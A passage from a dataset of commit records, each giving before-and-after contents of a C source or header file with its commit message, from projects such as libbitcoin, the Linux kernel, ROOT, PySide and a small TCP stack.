fclose.\n","lang":"C","license":"bsd-3-clause","repos":"plusvic\/yara,cblichmann\/yara,wxsBSD\/yara,rednaga\/yara,tanium\/yara,hillu\/yara,cblichmann\/yara,wxsBSD\/yara,VirusTotal\/yara,wxsBSD\/yara,hillu\/yara,plusvic\/yara,tanium\/yara,hillu\/yara,hillu\/yara,wxsBSD\/yara,plusvic\/yara,wxsBSD\/yara,rednaga\/yara,plusvic\/yara,VirusTotal\/yara,rednaga\/yara,cblichmann\/yara,plusvic\/yara,cblichmann\/yara,pombredanne\/yara,VirusTotal\/yara,hillu\/yara,pombredanne\/yara,tanium\/yara,VirusTotal\/yara,pombredanne\/yara,pombredanne\/yara,cblichmann\/yara,pombredanne\/yara,VirusTotal\/yara"}
{"commit":"d8b4e55ab22ce4e65a2b64821702f3143ab1105f","old_file":"elkhound\/emitcode.h","new_file":"elkhound\/emitcode.h","old_contents":"\/\/ emitcode.h            see license.txt for copyright and terms of use\n\/\/ track state of emitted code so I can emit #line too\n\n#ifndef EMITCODE_H\n#define EMITCODE_H\n  \n#include <fstream.h>      \/\/ ofstream\n#include \"str.h\"          \/\/ stringBuffer\n#include \"srcloc.h\"       \/\/ SourceLoc\n\nclass EmitCode : public stringBuilder {\nprivate:     \/\/ data\n  ofstream os;         \/\/ stream to write to\n  string fname;        \/\/ filename for emitting #line\n  int line;            \/\/ current line number\n\npublic:      \/\/ funcs\n  EmitCode(rostring fname);\n  ~EmitCode();\n\n  string const &getFname() const { return fname; }\n\n  \/\/ get current line number; flushes internally\n  int getLine();\n\n  \/\/ flush data in stringBuffer to 'os'\n  void flush();\n};\n\n\n\/\/ return a #line directive for the given location\nstring lineDirective(SourceLoc loc);  \n\n\/\/ emit a #line directive to restore reporting to the\n\/\/ EmitCode file itself (the 'sb' argument must be an EmitFile object)\nstringBuilder &restoreLine(stringBuilder &sb);\n\n\n#endif \/\/ EMITCODE_H\n","new_contents":"\/\/ emitcode.h            see license.txt for copyright and terms of use\n\/\/ track state of emitted code so I can emit #line too\n\n#ifndef EMITCODE_H\n#define EMITCODE_H\n\n#include \"str.h\"          \/\/ stringBuffer\n#include \"srcloc.h\"       \/\/ SourceLoc\n#include \"ofstreamts.h\"   \/\/ ofstreamTS\n\nclass EmitCode : public stringBuilder {\nprivate:     \/\/ data\n  ofstreamTS os;       \/\/ stream to write to\n  string fname;        \/\/ filename for emitting #line\n  int line;            \/\/ current line number\n\npublic:      \/\/ funcs\n  EmitCode(rostring fname);\n  ~EmitCode();\n\n  string const &getFname() const { return fname; }\n\n  \/\/ get current line number; flushes internally\n  int getLine();\n\n  \/\/ flush data in stringBuffer to 'os'\n  void flush();\n};\n\n\n\/\/ return a #line directive for the given location\nstring lineDirective(SourceLoc loc);\n\n\/\/ emit a #line directive to restore reporting to the\n\/\/ EmitCode file itself (the 'sb' argument must be an EmitFile object)\nstringBuilder &restoreLine(stringBuilder &sb);\n\n\n#endif \/\/ EMITCODE_H\n","subject":"Use ofstreamTS to avoid touching the .gen.cc, .gen.h output if unchanged.","message":"Use ofstreamTS to avoid touching the .gen.cc, .gen.h output if unchanged.\n\n","lang":"C","license":"bsd-3-clause","repos":"angavrilov\/olmar,angavrilov\/olmar,angavrilov\/olmar,angavrilov\/olmar"}
{"commit":"fbe96411e7888bfb9cc92fe85e35e093239d24a7","old_file":"include\/insect.h","new_file":"include\/insect.h","old_contents":"#ifndef __INSECT_H__\n#define __INSECT_H__\n\n#include \"insect\/crawler.h\"\n#include \"insect\/records.h\"\n\n\/* basic file API *\/\n#include \"insect\/file\/stat.h\"\n\n#ifdef USE_THREADS\n#include \"insect\/concurrent\/thread.h\"\n#endif \/* USE_THREADS *\/\n\n#endif \/* __INSECT_H__ *\/\n","new_contents":"#ifndef __INSECT_H__\n#define __INSECT_H__\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif \/* C++ *\/\n\n#include \"insect\/crawler.h\"\n#include \"insect\/records.h\"\n\n\/* basic file API *\/\n#include \"insect\/file\/stat.h\"\n\n#ifdef USE_THREADS\n#include \"insect\/concurrent\/thread.h\"\n#endif \/* USE_THREADS *\/\n\n#ifdef __cplusplus\n} \/* extern \"C\" *\/\n#endif \/* C++ *\/\n\n#endif \/* __INSECT_H__ *\/\n","subject":"Add extern \"C\" wrapper to main header, for C++","message":"Add extern \"C\" wrapper to main header, for C++\n","lang":"C","license":"bsd-2-clause","repos":"hagemt\/insect,hagemt\/insect"}
{"commit":"6457ba1007bd218624a196b8de351d6e2f644ce7","old_file":"include\/bitcoin\/bitcoin\/compat.h","new_file":"include\/bitcoin\/bitcoin\/compat.h","old_contents":"\/*\n * Copyright (c) 2011-2013 libbitcoin developers (see AUTHORS)\n *\n * This file is part of libbitcoin.\n *\n * libbitcoin is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License with\n * additional permissions to the one published by the Free Software\n * Foundation, either version 3 of the License, or (at your option)\n * any later version. For more information see LICENSE.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#ifndef LIBBITCOIN_COMPAT_H\n#define LIBBITCOIN_COMPAT_H\n\n#ifdef _MSC_VER\n    \/\/ There is no <endian.h> for MSVC but it is always little endian.\n    #ifndef __LITTLE_ENDIAN__\n        # undef __BIG_ENDIAN__\n        # define __LITTLE_ENDIAN__\n    #endif\n#endif\n\n#ifdef _MSC_VER\n    \/\/ For SET_BINARY_FILE_MODE\n    #include <fcntl.h>\n    #include <io.h>\n    #include <stdio.h>\n#endif\n\n\/\/ Sets the _fmode global variable, which controls the default translation\n\/\/ mode for file I\/O operations.\n#ifdef _MSC_VER\n    #define BC_SET_BINARY_FILE_MODE(mode) \\\n        _setmode(_fileno(stdin), if_else(mode, _O_BINARY, _O_TEXT))\n#else\n    #define BC_SET_BINARY_FILE_MODE(mode)\n#endif\n\n#endif","new_contents":"\/*\n * Copyright (c) 2011-2013 libbitcoin developers (see AUTHORS)\n *\n * This file is part of libbitcoin.\n *\n * libbitcoin is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License with\n * additional permissions to the one published by the Free Software\n * Foundation, either version 3 of the License, or (at your option)\n * any later version. For more information see LICENSE.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#ifndef LIBBITCOIN_COMPAT_H\n#define LIBBITCOIN_COMPAT_H\n\n#ifdef _MSC_VER\n    \/\/ There is no <endian.h> for MSVC but it is always little endian.\n    #ifndef __LITTLE_ENDIAN__\n        # undef __BIG_ENDIAN__\n        # define __LITTLE_ENDIAN__\n    #endif\n#endif\n\n#endif","subject":"Remove unused code, keep in bx.","message":"Remove unused code, keep in bx.\n","lang":"C","license":"agpl-3.0","repos":"GroestlCoin\/libgroestlcoin,GroestlCoin\/libgroestlcoin,GroestlCoin\/libgroestlcoin,swansontec\/libbitcoin,GroestlCoin\/libgroestlcoin,swansontec\/libbitcoin,swansontec\/libbitcoin,swansontec\/libbitcoin"}
{"commit":"914aa3e86b039d935ae322bf2c0b654dd9de42ad","old_file":"KugelmatikFirmware\/config.h","new_file":"KugelmatikFirmware\/config.h","old_contents":"#pragma once\n\n#include <Arduino.h>\n\n#include \"stepper.h\"\n\nenum StepMode : uint8_t {\n\tStepHalf = 1,\n\tStepFull = 2,\n\tStepBoth = 3\n};\n\nenum BrakeMode : uint8_t {\n\tBrakeNone = 0,\n\tBrakeAlways = 1,\n\tBrakeSmart = 2\n};\n\nstruct Config {\n\tStepMode stepMode; \n\tBrakeMode brakeMode;\n\t\n\tuint32_t tickTime;\n\tuint32_t homeTime;\n\tuint32_t fixTime;\n\n\tint16_t maxSteps; \/\/ Maximale Anzahl an Schritten die die Firmware maximal machen darf (nach unten)\n\tint16_t homeSteps;\n\tint16_t fixSteps; \/\/ Anzahl an Schritten die die Firmware macht um eine Kugel nach unten zu fahren (ignoriert dabei maxSteps)\n\n\tuint16_t brakeTicks;\n\n\tuint16_t minStepDelta; \/\/ Unterschied zwischen derzeitiger Hhe und Zielhhe ab wann die Kugel bewegt werden soll\n};\n\nextern Config config;\n\n\/\/ setzt die Standard Config\nvoid setDefaultConfig();\n\n\/\/ prft Config auf invalide Werte\nboolean checkConfig(Config* config);","new_contents":"#pragma once\n\n#include <Arduino.h>\n\n#include \"stepper.h\"\n\nenum StepMode : uint8_t {\n\tStepHalf = 1,\n\tStepFull = 2,\n\tStepBoth = 3\n};\n\nenum BrakeMode : uint8_t {\n\tBrakeNone = 0,\n\tBrakeAlways = 1,\n\tBrakeSmart = 2\n};\n\nstruct Config {\n\tStepMode stepMode; \n\tBrakeMode brakeMode;\n\t\n\tuint32_t tickTime;\n\tuint32_t homeTime;\n\tuint32_t fixTime;\n\n\tint16_t maxSteps; \/\/ Maximale Anzahl an Schritten die die Firmware maximal machen darf (nach unten)\n\tint16_t homeSteps;\n\tint16_t fixSteps; \/\/ Anzahl an Schritten die die Firmware macht um eine Kugel nach unten zu fahren (ignoriert dabei maxSteps)\n\n\tuint16_t brakeTicks;\n\n\tuint16_t minStepDelta; \/\/ Unterschied zwischen derzeitiger Hhe und Zielhhe ab wann die Kugel bewegt werden soll\n} __attribute__((__packed__));\n\nextern Config config;\n\n\/\/ setzt die Standard Config\nvoid setDefaultConfig();\n\n\/\/ prft Config auf invalide Werte\nboolean checkConfig(Config* config);","subject":"Add packed attribute to Config","message":"Add packed attribute to Config\n","lang":"C","license":"mit","repos":"henrik1235\/Kugelmatik,henrik1235\/Kugelmatik,henrik1235\/Kugelmatik"}
{"commit":"2599ba39625924b858e612a5c0a1145752c964e3","old_file":"test2\/vla\/incomplete.c","new_file":"test2\/vla\/incomplete.c","old_contents":"","new_contents":"\/\/ RUN: %check -e %s\n\nvoid init(int (*p)[])\n{\n\tp[0][0] = 1; \/\/ CHECK: error: arithmetic on pointer to incomplete type int[]\n}\n","subject":"Test for arithmetic on pointer to vla","message":"Test for arithmetic on pointer to vla\n","lang":"C","license":"mit","repos":"bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler"}
{"commit":"90ae0921a7faccb8c2ce05745cc9ca7ca112cba8","old_file":"ext\/quarry\/quarry.h","new_file":"ext\/quarry\/quarry.h","old_contents":"# define RAD_TO_DEG 57.29577951308232087 \/* 180\/PI *\/\n# define DEG_TO_RAD 0.0174532925199433 \/* PI\/180 *\/\n\nVALUE mgrs_to_lat_long(VALUE klass) {\n  VALUE mgrs_grid = rb_iv_get(klass, \"@grid\");\n  char* grid = StringValuePtr(mgrs_grid);\n\n  double lat, lng;\n\n  Convert_MGRS_To_Geodetic(grid, &lat, &lng);\n\n  VALUE lat_lng_array = rb_ary_new();\n  rb_ary_push(lat_lng_array, rb_float_new(lat*RAD_TO_DEG));\n  rb_ary_push(lat_lng_array, rb_float_new(lng*RAD_TO_DEG));\n  return lat_lng_array;\n}\n\nVALUE lat_long_to_mgrs(VALUE klass) {\n  VALUE iv_latitude  = rb_funcall(rb_iv_get(klass, \"@latitude\" ), rb_intern(\"to_s\"), 0),\n        iv_longitude = rb_funcall(rb_iv_get(klass, \"@longitude\"), rb_intern(\"to_s\"), 0);\n\n  double latitude  = rb_str_to_dbl(iv_latitude,  Qfalse),\n         longitude = rb_str_to_dbl(iv_longitude, Qfalse);\n\n  char grid[15];\n  Convert_Geodetic_To_MGRS(latitude*DEG_TO_RAD, longitude*DEG_TO_RAD, 5, grid);\n\n  return rb_str_new2(grid);\n}\n","new_contents":"# define RAD_TO_DEG 57.29577951308232087 \/* 180\/PI *\/\n# define DEG_TO_RAD 0.0174532925199433 \/* PI\/180 *\/\n\nVALUE mgrs_to_lat_long(VALUE klass) {\n  VALUE mgrs_grid = rb_iv_get(klass, \"@grid\");\n  char* grid = StringValuePtr(mgrs_grid);\n  double lat, lng;\n\n  Convert_MGRS_To_Geodetic(grid, &lat, &lng);\n\n  VALUE lat_lng_array = rb_ary_new();\n  rb_ary_push(lat_lng_array, rb_float_new(lat*RAD_TO_DEG));\n  rb_ary_push(lat_lng_array, rb_float_new(lng*RAD_TO_DEG));\n  return lat_lng_array;\n}\n\nVALUE lat_long_to_mgrs(VALUE klass) {\n  double latitude  = rb_num2dbl(rb_iv_get(klass, \"@latitude\")),\n         longitude = rb_num2dbl(rb_iv_get(klass, \"@longitude\"));\n\n  char grid[15];\n  Convert_Geodetic_To_MGRS(latitude*DEG_TO_RAD, longitude*DEG_TO_RAD, 5, grid);\n\n  return rb_str_new2(grid);\n}\n","subject":"Clean up converting float to double","message":"Clean up converting float to double\n","lang":"C","license":"mit","repos":"joshuaclayton\/quarry,joshuaclayton\/quarry"}
{"commit":"35c85704a3e61eaf6e5c55dcf3cd66b09088d09b","old_file":"src\/tcp_socket.c","new_file":"src\/tcp_socket.c","old_contents":"#include \"syshead.h\"\n#include \"tcp_socket.h\"\n\n#define MAX_TCP_SOCKETS 128\nstatic int cur_fd = 3;\nstatic struct tcp_socket tcp_sockets[MAX_TCP_SOCKETS];\n\nvoid init_tcp_sockets()\n{\n    memset(tcp_sockets, 0, sizeof(struct tcp_socket) * MAX_TCP_SOCKETS);\n}\n\nstruct tcp_socket *alloc_tcp_socket()\n{\n    struct tcp_socket *sock;\n    for (int i = 0; i<MAX_TCP_SOCKETS; i++) {\n        sock = &tcp_sockets[i];\n        if (sock->fd == 0) {\n            sock->fd = cur_fd++;\n            sock->state = CLOSED;\n            return sock;\n        }\n    }\n\n    \/* No space left, error case *\/\n    return NULL;\n}\n\nvoid free_tcp_socket(struct tcp_socket *sock)\n{\n\n}\n\nstruct tcp_socket *get_tcp_socket(int sockfd)\n{\n    struct tcp_socket sk;\n    for (int i = 0; i<MAX_TCP_SOCKETS; i++) {\n        sk = tcp_sockets[i];\n\n        if (sk.fd == sockfd) return &sk;\n    }\n\n    return NULL;\n}\n","new_contents":"#include \"syshead.h\"\n#include \"tcp_socket.h\"\n\n#define MAX_TCP_SOCKETS 128\nstatic int cur_fd = 3;\nstatic struct tcp_socket tcp_sockets[MAX_TCP_SOCKETS];\n\nvoid init_tcp_sockets()\n{\n    memset(tcp_sockets, 0, sizeof(struct tcp_socket) * MAX_TCP_SOCKETS);\n}\n\nstruct tcp_socket *alloc_tcp_socket()\n{\n    struct tcp_socket *sock;\n    for (int i = 0; i<MAX_TCP_SOCKETS; i++) {\n        sock = &tcp_sockets[i];\n        if (sock->fd == 0) {\n            sock->fd = cur_fd++;\n            sock->state = CLOSED;\n            return sock;\n        }\n    }\n\n    \/* No space left, error case *\/\n    return NULL;\n}\n\nvoid free_tcp_socket(struct tcp_socket *sock)\n{\n\n}\n\nstruct tcp_socket *get_tcp_socket(int sockfd)\n{\n    struct tcp_socket *sk;\n    for (int i = 0; i<MAX_TCP_SOCKETS; i++) {\n        sk = &tcp_sockets[i];\n\n        if (sk->fd == sockfd) return sk;\n    }\n\n    return NULL;\n}\n","subject":"Fix ugly pointer return bug","message":"Fix ugly pointer return bug\n","lang":"C","license":"mit","repos":"saminiir\/level-ip,saminiir\/level-ip"}
{"commit":"39ac779141659cee4605046c4cae459053fc68ab","old_file":"CMIDITests\/CMIDISequence+Debug\/CMIDISequence+Debug.h","new_file":"CMIDITests\/CMIDISequence+Debug\/CMIDISequence+Debug.h","old_contents":"","new_contents":"\/\/\n\/\/  CMIDISequence+Debug.h\n\/\/  CMIDI\n\/\/\n\/\/  Created by CHARLES GILLINGHAM on 9\/20\/15.\n\/\/  Copyright (c) 2015 CharlesGillingham. All rights reserved.\n\/\/\n\n#import \"CMIDISequence.h\"\n\n@interface CMIDISequence (Debug)\n+ (BOOL) testWithMessageList: (NSArray *) msgs;\n+ (BOOL) testWithMIDIFile: (NSURL *) fileName;\n@end","subject":"Rebuild with alias -- trying to fix commit error message","message":"Rebuild with alias -- trying to fix commit error message\n","lang":"C","license":"mit","repos":"CharlesGillingham\/CMIDI"}
{"commit":"06e44840368efdb359224b5d04db6c92f73bd373","old_file":"arch\/cris\/include\/arch-v32\/arch\/cache.h","new_file":"arch\/cris\/include\/arch-v32\/arch\/cache.h","old_contents":"#ifndef _ASM_CRIS_ARCH_CACHE_H\n#define _ASM_CRIS_ARCH_CACHE_H\n\n#include <arch\/hwregs\/dma.h>\n\n\/* A cache-line is 32 bytes. *\/\n#define L1_CACHE_BYTES 32\n#define L1_CACHE_SHIFT 5\n\n#define __read_mostly __attribute__((__section__(\".data.read_mostly\")))\n\nvoid flush_dma_list(dma_descr_data *descr);\nvoid flush_dma_descr(dma_descr_data *descr, int flush_buf);\n\n#define flush_dma_context(c) \\\n  flush_dma_list(phys_to_virt((c)->saved_data));\n\nvoid cris_flush_cache_range(void *buf, unsigned long len);\nvoid cris_flush_cache(void);\n\n#endif \/* _ASM_CRIS_ARCH_CACHE_H *\/\n","new_contents":"#ifndef _ASM_CRIS_ARCH_CACHE_H\n#define _ASM_CRIS_ARCH_CACHE_H\n\n#include <arch\/hwregs\/dma.h>\n\n\/* A cache-line is 32 bytes. *\/\n#define L1_CACHE_BYTES 32\n#define L1_CACHE_SHIFT 5\n\n#define __read_mostly __attribute__((__section__(\".data..read_mostly\")))\n\nvoid flush_dma_list(dma_descr_data *descr);\nvoid flush_dma_descr(dma_descr_data *descr, int flush_buf);\n\n#define flush_dma_context(c) \\\n  flush_dma_list(phys_to_virt((c)->saved_data));\n\nvoid cris_flush_cache_range(void *buf, unsigned long len);\nvoid cris_flush_cache(void);\n\n#endif \/* _ASM_CRIS_ARCH_CACHE_H *\/\n","subject":"Correct name of read_mostly section.","message":"CRISv32: Correct name of read_mostly section.\n\n54cb27a71f51d304342c79e62fd7667f2171062b renamed .data.read_mostly to\n.data..read_mostly for all architectures for 2.6.33.\n\nReported-by: Ralf Baechle <92f48d309cda194c8eda36aa8f9ae28c488fa208@linux-mips.org>\nSigned-off-by: Jesper Nilsson <987a7dbc972893e93e5578401bedc3a0f2ccb5e3@axis.com>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs"}
{"commit":"4cfc51017db3e3f4eaaa2cb436a905097a4f08e2","old_file":"drivers\/scsi\/qla2xxx\/qla_version.h","new_file":"drivers\/scsi\/qla2xxx\/qla_version.h","old_contents":"\/*\n * QLogic Fibre Channel HBA Driver\n * Copyright (c)  2003-2008 QLogic Corporation\n *\n * See LICENSE.qla2xxx for copyright and licensing details.\n *\/\n\/*\n * Driver version\n *\/\n#define QLA2XXX_VERSION      \"8.02.01-k5\"\n\n#define QLA_DRIVER_MAJOR_VER\t8\n#define QLA_DRIVER_MINOR_VER\t2\n#define QLA_DRIVER_PATCH_VER\t1\n#define QLA_DRIVER_BETA_VER\t0\n","new_contents":"\/*\n * QLogic Fibre Channel HBA Driver\n * Copyright (c)  2003-2008 QLogic Corporation\n *\n * See LICENSE.qla2xxx for copyright and licensing details.\n *\/\n\/*\n * Driver version\n *\/\n#define QLA2XXX_VERSION      \"8.02.01-k6\"\n\n#define QLA_DRIVER_MAJOR_VER\t8\n#define QLA_DRIVER_MINOR_VER\t2\n#define QLA_DRIVER_PATCH_VER\t1\n#define QLA_DRIVER_BETA_VER\t0\n","subject":"Update version number to 8.02.01-k6.","message":"[SCSI] qla2xxx: Update version number to 8.02.01-k6.\n\nSigned-off-by: Andrew Vasquez <67840a4977006af7f584bdc4c86d7243c1629cad@qlogic.com>\nSigned-off-by: James Bottomley <407b36959ca09543ccda8f8e06721c791bc53435@HansenPartnership.com>\n","lang":"C","license":"apache-2.0","repos":"TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs"}
{"commit":"5d334bbd060cb6129f8e8af6b29f897d6d4840a1","old_file":"src\/lily_config.h","new_file":"src\/lily_config.h","old_contents":"\n\/* Path handling. This was copied from Lua, with some minor adjustments.\n   The biggest one is the lack of Windows support, because I don't have\n   my Windows box setup for Lily yet (I'd rather make sure Windows works\n   all at once). *\/\n#define LILY_MAJOR \"0\"\n#define LILY_MINOR \"13\"\n#define LILY_VERSION_DIR   LILY_MAJOR \".\" LILY_MINOR\n\n#define LILY_BASE_DIR\t\"\/usr\/local\/\"\n#define LILY_SHARE_DIR\tLILY_ROOT \"share\/lua\/\" LUA_VDIR \"\/\"\n#define LILY_CDIR\tLILY_ROOT \"lib\/lua\/\" LUA_VDIR \"\/\"\n\n\/* So, by default, Lily will attempt to load .lly files from these\n   directories. *\/\n#define LILY_PATH_SEED \\\n        LILY_BASE_DIR \"share\/\" LILY_VERSION_DIR \"\/;\" \\\n        LILY_BASE_DIR \"lib\/\" LILY_VERSION_DIR \"\/;\" \\\n        \".\/;\"\n","new_contents":"\n\/* Path handling. This was copied from Lua, with some minor adjustments.\n   The biggest one is the lack of Windows support, because I don't have\n   my Windows box setup for Lily yet (I'd rather make sure Windows works\n   all at once). *\/\n#define LILY_MAJOR          \"0\"\n#define LILY_MINOR          \"13\"\n#define LILY_VERSION_DIR    LILY_MAJOR \"_\" LILY_MINOR\n\n#define LILY_BASE_DIR       \"\/usr\/local\/\"\n#define LILY_SHARE_DIR      LILY_BASE_DIR \"share\/lily\/\" LILY_VERSION_DIR \"\/\"\n#define LILY_LIB_DIR        LILY_BASE_DIR \"lib\/lily\/\"   LILY_VERSION_DIR \"\/\"\n\n\/* This is where Lily will attempt to import new files from. If the parser is\n   loading from a file, then the directory of the first file is added as the\n   very last path to search. *\/\n#define LILY_PATH_SEED \\\n        LILY_SHARE_DIR \";\" \\\n        LILY_LIB_DIR \";\" \\\n        \".\/;\"\n","subject":"Fix up the embarassing mess of path seeding. Yikes. :(","message":"Fix up the embarassing mess of path seeding. Yikes. :(\n","lang":"C","license":"mit","repos":"crasm\/lily,crasm\/lily,boardwalk\/lily,crasm\/lily,boardwalk\/lily"}
{"commit":"2c377d116884aa9dc8fca51830b914b127de1420","old_file":"mordor\/common\/http\/tunnel.h","new_file":"mordor\/common\/http\/tunnel.h","old_contents":"#ifndef __HTTP_TUNNEL_H__\n#define __HTTP_TUNNEL_H__\n\/\/ Copyright (c) 2009 - Decho Corp.\n\n#include \"auth.h\"\n\nnamespace HTTP\n{\n    template <class T>\n    Stream::ptr tunnel(T &conn, const std::string &proxy, const std::string &target)\n    {\n        Request requestHeaders;\n        requestHeaders.requestLine.method = CONNECT;\n        requestHeaders.requestLine.uri = target;\n        requestHeaders.request.host = proxy;\n        requestHeaders.general.connection.insert(\"Proxy-Connection\");\n        requestHeaders.general.proxyConnection.insert(\"Keep-Alive\");\n        ClientRequest::ptr request = conn.request(requestHeaders);\n        if (request->response().status.status == HTTP::OK) {\n            return request->stream();\n        } else {\n            throw std::runtime_error(\"proxy connection failed\");\n        }\n    }\n}\n\n#endif\n","new_contents":"#ifndef __HTTP_TUNNEL_H__\n#define __HTTP_TUNNEL_H__\n\/\/ Copyright (c) 2009 - Decho Corp.\n\n#include \"auth.h\"\n\nnamespace HTTP\n{\n    template <class T>\n    Stream::ptr tunnel(T &conn, const std::string &proxy, const std::string &target)\n    {\n        Request requestHeaders;\n        requestHeaders.requestLine.method = CONNECT;\n        requestHeaders.requestLine.uri = target;\n        requestHeaders.request.host = proxy;\n        requestHeaders.general.connection.insert(\"Proxy-Connection\");\n        requestHeaders.general.proxyConnection.insert(\"Keep-Alive\");\n        ClientRequest::ptr request = conn.request(requestHeaders);\n        if (request->response().status.status == HTTP::OK) {\n            return request->stream();\n        } else {\n            throw InvalidResponseException(\"proxy connection failed\",\n                request->response());\n        }\n    }\n}\n\n#endif\n","subject":"Throw a more useful exceptoin when proxy connection fails.","message":"Throw a more useful exceptoin when proxy connection fails.\n","lang":"C","license":"bsd-3-clause","repos":"cgaebel\/mordor,adfin\/mordor,mtanski\/mordor,mtanski\/mordor,ccutrer\/mordor,cgaebel\/mordor,ccutrer\/mordor,adfin\/mordor,adfin\/mordor,mozy\/mordor,mozy\/mordor,ccutrer\/mordor,mtanski\/mordor,mozy\/mordor"}
{"commit":"b793fd632ce03ce39a4d49e97b8f052cf9c03e18","old_file":"base\/inc\/Htypes.h","new_file":"base\/inc\/Htypes.h","old_contents":"\/* @(#)root\/base:$Name:  $:$Id: Htypes.h,v 1.1.1.1 2000\/05\/16 17:00:39 rdm Exp $ *\/\n\n\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifndef ROOT_Htypes\n#define ROOT_Htypes\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/                                                                      \/\/\n\/\/ Htypes                                                               \/\/\n\/\/                                                                      \/\/\n\/\/ Types used by the histogramming classes.                             \/\/\n\/\/                                                                      \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\n#ifndef ROOT_Rtypes\n#include \"Rtypes.h\"\n#endif\n\ntypedef double         Axis_t;      \/\/Axis values type\ntypedef double         Stat_t;      \/\/Statistics type\n\n#endif\n\n","new_contents":"\/* @(#)root\/base:$Name:  $:$Id: Htypes.h,v 1.2 2000\/06\/13 12:25:52 brun Exp $ *\/\n\n\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifndef ROOT_Htypes\n#define ROOT_Htypes\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/                                                                      \/\/\n\/\/ Htypes                                                               \/\/\n\/\/                                                                      \/\/\n\/\/ Types used by the histogramming classes.                             \/\/\n\/\/                                                                      \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\n#ifndef ROOT_Rtypes\n#include \"Rtypes.h\"\n#endif\n\ntypedef double         Axis_t;      \/\/Axis values type (double)\ntypedef double         Stat_t;      \/\/Statistics type (double)\n\n#endif\n\n","subject":"Add more comments describing Stat_t and Axis_t","message":"Add more comments describing Stat_t and Axis_t\n\n\ngit-svn-id: ecbadac9c76e8cf640a0bca86f6bd796c98521e3@3097 27541ba8-7e3a-0410-8455-c3a389f83636\n","lang":"C","license":"lgpl-2.1","repos":"bbannier\/ROOT,bbannier\/ROOT,bbannier\/ROOT,dawehner\/root,bbannier\/ROOT,dawehner\/root,dawehner\/root,bbannier\/ROOT,dawehner\/root,bbannier\/ROOT,bbannier\/ROOT,dawehner\/root,dawehner\/root,dawehner\/root,dawehner\/root"}
{"commit":"4df12e7cba463ce664b8cf4e95bb72c4aef2a5ff","old_file":"PySide\/QtCore\/qstringlist_conversions.h","new_file":"PySide\/QtCore\/qstringlist_conversions.h","old_contents":"namespace Shiboken\n{\ninline bool Converter<QStringList>::isConvertible(PyObject* pyObj)\n{\n    return StdListConverter<QStringList>::isConvertible(pyObj);\n}\n\ninline QStringList Converter<QStringList>::toCpp(PyObject* pyObj)\n{\n    return StdListConverter<QStringList>::toCpp(pyObj);\n}\n\ninline PyObject* Converter<QStringList>::toPython(const QStringList& cppObj)\n{\n    return StdListConverter<QStringList>::toPython(cppObj);\n}\n}\n","new_contents":"namespace Shiboken\n{\ninline bool Converter<QStringList>::isConvertible(PyObject* pyObj)\n{\n    return StdListConverter<QStringList>::isConvertible(pyObj);\n}\n\ninline QStringList Converter<QStringList>::toCpp(PyObject* pyObj)\n{\n    return StdListConverter<QStringList>::toCpp(pyObj);\n}\n\ninline PyObject* Converter<QStringList>::toPython(const QStringList& cppObj)\n{\n    return 